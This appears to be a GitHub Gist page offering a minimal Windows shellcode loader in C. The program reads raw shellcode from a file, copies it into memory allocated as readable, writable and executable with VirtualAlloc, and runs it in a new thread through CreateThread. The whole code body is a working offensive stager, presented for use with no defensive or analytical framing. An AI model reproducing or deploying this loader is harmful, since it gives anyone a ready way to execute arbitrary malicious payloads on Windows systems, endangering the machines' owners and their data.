-
-
Save reveng007/d75693acb892c4b1861cd541259a49aa to your computer and use it in GitHub Desktop.
Simplest windows shellcode loader there can be, purely in C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #define WIN32_LEAN_AND_MEAN | |
| #include <windows.h> | |
| int main(int argc, char **argv) { | |
| if (argc != 2) { | |
| printf("Usage: ./shellcodeLoader <shellcode64>\n"); | |
| return 1; | |
| } | |
| FILE *fdShell = fopen(argv[1], "rb"); | |
| fseek(fdShell, 0, SEEK_END); | |
| int length = ftell(fdShell); | |
| rewind(fdShell); | |
| void *sc = calloc(1, length); | |
| fread(sc, length, 1, fdShell); | |
| void* addressPointer = VirtualAlloc(NULL, length+1, 0x3000, 0x40); | |
| RtlMoveMemory(addressPointer, sc, length+1); | |
| void* handle = CreateThread(NULL, 0, (void*)addressPointer, NULL, 0, 0); | |
| Sleep(3000); | |
| WaitForSingleObject(handle, INFINITE); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment